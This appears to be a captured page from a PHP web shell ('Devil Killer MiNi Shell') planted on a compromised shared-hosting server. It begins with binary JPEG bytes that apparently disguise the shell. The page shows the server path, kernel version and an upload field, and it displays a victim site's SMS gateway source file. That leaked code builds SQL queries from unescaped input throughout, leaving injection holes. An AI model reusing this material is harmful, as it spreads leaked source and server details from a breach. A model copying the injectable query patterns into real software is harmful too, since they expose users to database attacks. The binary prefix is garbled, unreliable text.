JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/bosnacweb04/bosnacweb04ac/b1072/ipg.liuyuan7592410/wb_sms.nailclub.ca/lib/php/

Linux boscustweb5005.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : /hermes/bosnacweb04/bosnacweb04ac/b1072/ipg.liuyuan7592410/wb_sms.nailclub.ca/lib/php/SMS.class.php

<?PHP
define('SMS_STATUS_SUSPEND','0');
define('SMS_STATUS_NEW','1');
define('SMS_STATUS_TIMER','2');
define('SMS_STATUS_QUEUED','4');
define('SMS_STATUS_SUCCESS','5');
define('SMS_STATUS_FAILED','6');

define('SMS_BATCH_STATUS_SUSPEND','0');
define('SMS_BATCH_STATUS_NEW','1');
define('SMS_BATCH_STATUS_DONE','2');

if(strpos(strtolower(PHP_OS),"win") !== false){
	$running_log_dir = phpUpperDir(phpUpperDir(__DIR__))."\\log";
	$running_log_file=$running_log_dir."\\running.log";
}else{
	$running_log_dir = "../log";
	$running_log_file=$running_log_dir."/running.log";
}

class smsClient{
	public $clientID;
	private $token;
	private $sms_agent;
	private $error;

	function __construct($clientID=null,$token){
		global $sms_db;

		$this->clientID = $clientID;
		if($clientID!=null){
			$res = json_decode($sms_db->getdata("t_sms_client","*","clientID='".$clientID."' and credit>0 and status='1'"));
			if(count($res)>0 && $res[0]->token==$token){
				if($res[0]->credit<0){
					$this->error = "insufficient credit balance.";
					$this->clientID = null;
				}elseif($res[0]->status!=1){
					$this->error= "this client has been suspended.";
					$this->clientID = null;
				}else{
					$this->sms_agent = new smsGWAgent([$res[0]->gw1_id,$res[0]->gw2_id,$res[0]->gw3_id]);
					$this->token = $res[0]->token;				
				}
			}else{
				$this->error = "invalid client";
				$this->clientID = null;
			}
		}else{
			$error = "invalid client";
		}
	}

	public function isValid(){
		return ($this->clientID==null)?false:true;
	}

	public function getErrorMsg(){
		return $this->error;
	}

	private function _getCredit(){

	}

	/**
	 * [sendSMS 发送短信]
	 * @param  [字符串] $to       [发送SMS,接收端号码]
	 * @param  [字符串] $body     [SMS内容]
	 * @param  [字符串] $c_msg_id [客户端发送过来的msg_id,用于客户端识别返回的确认信息对应哪个发送请求。]
	 * @return [数组]           [返回结果是一个数组,下标分别是"msg_id","status","time"(时间戳)]
	 */
	public function sendSMS($to,$body,$c_msg_id=null){
		if($this->clientID!=null){
			$msg = new smsMessage($to,$body,$c_msg_id,$this);
			$result = $this->sms_agent->sendSMS($msg);
			if(($result["status"]=="queued" || $result["status"]=="ok")){
				$result["price"] = $this->_bill($msg);
			}
		}else{
			$result = ["status"=>"failed","error"=>$this->error,"msg_id"=>$c_msg_id];
		}
		$result["msg_id"] = ($c_msg_id!=null)?$c_msg_id:$result["msg_id"];
		
		return json_encode($result);
	}

	private function _hasSufficentCredit(){

	}

	public function createClientToken(){
		return rand_str(34);
	}

	private function _bill($msg){
		global $sms_db;
		$tb = "(select * from `t_sms_send_record` where seq_num=".$msg->getLocalMsgID().") a left join t_sms_client b on a.client_id=b.clientID left join t_sms_client_rate c on b.c_bill_grp=c.c_bill_grp";
		$res = json_decode($sms_db->getdata($tb,"a.segment*c.out_price price"));
		if(count($res)>0 && $res[0]->price!=null){
			$price = $res[0]->price;
		}else{
			$price = $this->_getDefaultClientPrice()*$msg->segment;
		}
		$this->_decuctClientCredit($price);
		return $price;
	}

	private function _decuctClientCredit($amount){
		global $sms_db;
		$sms_db->runSQL("update t_sms_client set credit=credit-".$amount." where clientID=\"".$this->clientID."\"");
	}

	private function _getDefaultClientPrice(){
		return 0.05;
	}
}

class smsGWAgent{
	private $gw_pool;

	/**
	 * smsGWAgent的输入
	 */
	function __construct(){
		$this->gw_pool = array();
		$args = func_get_args();
		if(count($args)==0){
			endRunning("3003","Not set default smsGW for this Client. Please contact your service provider.");
		}
		$this->_initSMSGw((is_array($args[0]))?$args[0]:$args);
	}

	public function sendSMS($msg){
		$gw = $this->_pickGW();
		if($gw!=null){
			return $gw->sendSMS($msg);					
		}else{
			return array("msg_id"=>$msg->getClientMsgID(),
					 "status"=>"failed",
					 "error"=>"no sms_gw is available",
					 "time"=>time());
		}
	}

	/*
	sms_agent选择短信路由的算法,在这里就是简单的按gw1,gw2,gw3的顺序,通过查询数据库记录判断是否可用;
	 */
	private function _pickGW(){
		for($i=0;$i<count($this->gw_pool);$i++){
			if($this->gw_pool[$i] != null)
				return $this->gw_pool[$i];
		}
		return null;
	}

	/*
	检查smsGW是否有效,如果无效,析构smsGW对象,并将相应成员变量设置为null.
	通过检查gw_type,更改了创建了相应$gw的class。
	 */
	private function _adjustGW($gw){
		if(($gw!=null)&&($gw->gw_id==null)){
			unset($gw);
			$gw=null;
		}elseif($gw!=null){
			$gw_type = $gw->gw_type;
			$gw_id = $gw->gw_id;
//			unset($gw);
			$gw = new $gw_type($gw_id);
		}
		return $gw;
	}

	/**
	 * 传入数组arr_gw_id按照优先顺序排序
	 * @param  [type] $arr_gw_id [description]
	 * @return [type]            [description]
	 */
	private function _initSMSGw($arr_gw_id){
		global $sms_db, $running_log_file;
		$arr_gw_id= array_filter($arr_gw_id);
		$str_gw_id_list = implode(",",$arr_gw_id);
		writelog($running_log_file,"select "."distinct(gw_id) gw_id,gw_type "."from "."t_sms_gw "."where "."gw_id in (".$str_gw_id_list.") and status=1");
		$res = json_decode($sms_db->getdata("t_sms_gw","distinct(gw_id) gw_id,gw_type","gw_id in (".$str_gw_id_list.") and status=1"));
		$numGW=count($res);
		$numGWid=count($arr_gw_id);
		for($i=0;$i<$numGWid;$i++){
			for($j=0;$j<$numGW;$j++){
				if($arr_gw_id[$i]==$res[$j]->gw_id){
					$this->gw_pool[$i]=new $res[$i]->gw_type($arr_gw_id[$i]);
					continue;		
				}
			}
		}
	}
}

class smsMessage{
	private $from;
	public $to;
	public $body;
	private $segment;
	private $client;
	private $c_msg_id;
	private $lcl_msg_id;
	private $cleg_cost;
	private $pleg_cost;

	/*
	构造函数中$client是smsClient类的对象。
	 */
	function __construct($to,$body,$c_msg_id,$client){
		$this->to = new phoneNum($to);
		if(!$this->to->isValidCACell()){
			endRunning("3002","phone number is not a mobile phone number. Please check receiver's phone number.");
		}
		$this->body = $body;
		$this->c_msg_id = $c_msg_id;
		$this->client = $client;
		$this->segment = $this->_calSegment($this->body);
		$this->lcl_msg_id = $this->_recordReceivedMsgDB();
		$this->cleg_cost = 0;
		$this->pleg_cost = 0;
	}

	/*获取一条消息段落数量*/
	private function _calSegment($msg){
		if(mb_strlen($msg)!=strlen($msg)){
		      $seg_len = (mb_strlen($msg)>70)?67:70;
		}else{
		      $seg_len = (mb_strlen($msg)>160)?153:160;
		}
		$seg_count=ceil(mb_strlen($msg)/$seg_len);
		return $seg_count;
	}

	public function changTextReceiver($newTo){
		unset($this->to);
		$this->to = new phoneNum($newTo);
	}

	/*在构造函数中调用此私有函数,将收到的短信发送请求存入数据库。返回本地存储的message序列号。*/
	private function _recordReceivedMsgDB(){
		global $sms_db;
		$body = $this->body;
		//$body = str_replace("\n","%0a",$this->body);

		$sql = "insert into t_sms_send_record (toNum,body,segment,client_id,c_msg_id,status,receive_time) VALUES ";
		$sql.= "(\"".$this->to->getPhoneNum()."\",\"".$body."\",".$this->segment.",\"".$this->client->clientID."\",\"".$this->c_msg_id."\",".SMS_STATUS_NEW.",\"".date('Y-m-d H:i:s',time())."\")";
		$sms_db->runSQL($sql);

		$res = json_decode($sms_db->getdata("t_sms_send_record","max(seq_num) local_msg_id","toNum='".$this->to->getPhoneNum()."' and client_id='".$this->client->clientID."' and c_msg_id='".$this->c_msg_id."'"));
		return $res[0]->local_msg_id;
	}

	public function getLocalMsgID(){
		return $this->lcl_msg_id;
	}

	public function getClientMsgID(){
		return ($this->c_msg_id==null)?$this->lcl_msg_id:$this->c_msg_id;
	}
}

class phoneNum{
	private $phone_num;
	private $isCell;
	private $carrier;
	private $carrier_grp;

	function __construct($phone_num){
		$this->phone_num = $phone_num;
		$this->isCell = $this->_isValidCACell();
		$this->_setCarrierInfo($phone_num);
	}

	private function _setCarrierInfo($phone_num){
		global $sms_db;
		$res = json_decode($sms_db->getdata("v_sms_mobile_prefix","carrier_grp,carrier","prefix='".substr($phone_num,0,6)."'"));
		if(count($res)>0){
			$this->carrier_grp = $res[0]->carrier_grp;
			$this->carrier = $res[0]->carrier;
		}else{
			$this->carrier_grp = "unknown";
			$this->carrier = "unknown";
		}
	}

	/*
	判断一个号码是否是加拿大的手机号码
	1,数据库中保存手机号码前缀。
	2,如果现实中号码有更新,需要更新数据库记录。
	3,如果要添加美国号码的鉴别,需要增加美国手机号码前缀记录。
	 */
	private function _isValidCACell(){
		global $sms_db;
		$phone_num = $this->phone_num;
		$phone_num = (substr($phone_num,0,1)=="1")?substr($phone_num,1):$phone_num;
		$res = json_decode($sms_db->getdata("t_sms_ca_mobile_prefix","count(*) count","prefix=\"".substr($phone_num,0,6)."\""));
		return ($res[0]->count>0)?true:false;	
	}

	public function isValidCACell(){
		return $this->isCell;
	}

	/* 
	判断电话号码的标准是:
	如果首位是1,号码长度是11位,第2位是2-9中的一个数字,其余9位是任意数字;
	如果首位不是1,号码长度是10位,其余9位是任意数字 
	*/
	public function isValidPhoneNum(){
		$p="/^([1][2-9]\d{9})$|^([2-9]\d{9})$/";
		return preg_match($p,$this->phone_num)?true:false;		
	}

	public function getCarrier(){
		return $this->carrier;
	}

	public function getCarrierGrp(){
		return $this->carrier_grp;
	}

	public function getPhoneNum(){
		return $this->phone_num;
	}
}

class smsGW{
	protected $sid;
	protected $token;
	protected $provider_id;
	public $gw_id;
	public $gw_caller_id;
	public $gw_type;

	function __construct($gw_id){
		global $sms_db,$running_log_file;
		$str =  "Create smsGW class instance: gw_id = ".$gw_id;
		writeLog($running_log_file,$str);
		switch(strlen($gw_id)){
			case 11:
				$gw_id = substr($gw_id,2);
			case 10:
				$gw_info = $this->_getGWInfoByCallerID($gw_id);
				break;
			case 4:
				$gw_info = $this->_getGWInfoByID($gw_id);
				break;
			default:
				endRunning("3001","No valid gw_id was given to setup SMS route.");
		}
		if($gw_info != null){
			$this->gw_id = $gw_info->gw_id;
			$this->sid = $gw_info->sid;
			$this->token = $gw_info->token;
			$this->gw_caller_id = $gw_info->gw_caller_id;
			$this->gw_type = $gw_info->gw_type;
			$this->provider_id = $gw_info->provider_id;
		}else{
			$this->gw_id = null;
		}
	}

	function __destruct() {
		global $running_log_file;
		$str = "Destroying smsGW class: gwid==>" . $this->gw_id;
	    writeLog($running_log_file,$str);
	}

	private function _getGWInfoByID($gw_id){
		global $sms_db;
		$res = json_decode($sms_db->getdata("t_sms_gw","*","gw_id=\"".$gw_id."\" and status=1"));
		return (count($res)==0)?null:$res[0];
	}

	private function _getGWInfoByCallerID($gw_caller_id){
		global $sms_db;
		$res = json_decode($sms_db->getdata("t_sms_gw","*","gw_caller_id=\"".$gw_caller_id."\" and status=1"));
		return (count($res)==0)?null:$res[0];
	}

	protected function _updateSendSmsDB($msg,$p_msg){
		global $sms_db;
		$data = '[{"gw_id":"'.$this->gw_id.'",';
		$data.= '"sendtime":"'.date('Y-m-d H:i:s',time()).'",';
		$data.= '"p_msg_id":"'.$p_msg->sid.'",';
		$data.= '"p_status":"'.$p_msg->status.'",';
		$p_msg->status = ($p_msg->status == "ok")?"queued":$p_msg->status;
		$data.= '"p_seg":"'.$p_msg->numSegments.'",';
		$data.= '"p_price":"'.$p_msg->price.'",';
		$data.= '"status":"'.(($p_msg->status=="queued")?SMS_STATUS_QUEUED:SMS_STATUS_FAILED).'"}]';
		$cond = 'seq_num='.$msg->getLocalMsgID();
		$sms_db->savedata("t_sms_send_record",$data,$cond);

		if($p_msg->status == "failed"){
			$sms_db->runSQL("insert into t_sms_send_error (lcl_msg_sid, error) VALUES (\"".$msg->getLocalMsgID()."\",\"".(isset($p_msg->errorMessage)?$p_msg->errorMessage:"")."\")");
		}
	}

	protected function updateProviderCreditDB($price){
		global $sms_db;
		$data = "[{'credit':credit-".$price.",'lst_change_time':'".date("Y-m-d H:i:s",time())."'}]";
		$cond = "provider_id='".$this->provider_id."'";
		$sms_db->savedata("t_sms_provider",$data,$cond);
	}

	protected function billProvider($msg){

	}
}

class smsGW_twilio extends smsGW{
	private $client;
	
	function __construct($gw_id){
		parent::__construct($gw_id);
		$this->client = new Twilio\Rest\Client($this->sid, $this->token);		
	}

	/*
	输入参数$msg是一个smsMessage对象
	返回值是一个数组,数组中包括status:twilio端返回的状态
	                            time: 接收到返回信息的时间
								msg_id:发送的sms在twilio端的id。
	如果发送失败,数组中包括error:失败的原因。
	 */
	public function sendSMS($msg,$caller_id=null){
		if($caller_id==null){
			$caller_id=$this->gw_caller_id;
		}
		$error = "";
		try{
			$message = $this->client->messages->create(
					  $msg->to->getPhoneNum(), // Text this number
					  [
					    'from' => $caller_id, // From a valid Twilio number
					    'body' => $msg->body
					  ]
					);
		}catch(Exception $e){
			//数据库中记录下provider端返回的错误信息。
			$message = json_decode("{\"status\":\"failed\",\"errorMessage\":\"".$e->getMessage()."\",\"sid\":\"0000\",\"numSegments\":\"\",\"price\":\"\"}");
			//给调用端返回自定义的错误信息。
			$error = "sms_gw provider side internal error. Please Try again later, or contact your service provider. Thanks.";
		}

		/*$message = json_decode("{\"sid\":\"8317u48djkaj908fsdjfidsja983\",\"status\":\"ok\",\"numSegments\":\"1\",\"price\":\"0.0075\"}");*/
		$this->_updateSendSmsDB($msg,$message);
		$result = array("msg_id"=>$message->sid,
					 "status"=>$message->status,
					 "error"=>$error,
					 "time"=>time());
		return $result;
	}
}

class smsGW_simpleGW extends smsGW{

}

class smsBatchSender{
	/*
	批处理执行短信发送,发送的内容存储在数据库中指定的表中。指定job_id,和发送间隔,系统自动发送,一直到全部发送完成。
	 */
	public function batchSendSMS($job_id,$interval=1){
		global $sms_db;
		json_decode($sms_db->getdata("t_sys_config","value","item='batchSMSTb'"));
		$res = json_decode($sms_db->getdata("t_sms_job_req","job_id='".$job_id."'"));
		if(count($res>0)){
			$clientID=$res[0]->client_id;
			while($this->_getSMSFrDB($job_id,$clientID)){
				$this->sendSMS($msg);
				sleep($interval);
			}
		}
	}

	/*
	从数据库t_sms_batch_req表中提取一条消息发送
	 */
	private function _getSMSFrDB($job_id,$clientID){
		global $sms_db;
		$res = json_decode("t_sms_batch_req","*","job_id='".$job_id."' and status=".SMS_BATCH_STATUS_NEW." order by seq_num asc limit 1");
		$msg = new smsMessage($to,$body,$c_msg_id,$clientID);
		return $msg;
	}

}

?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com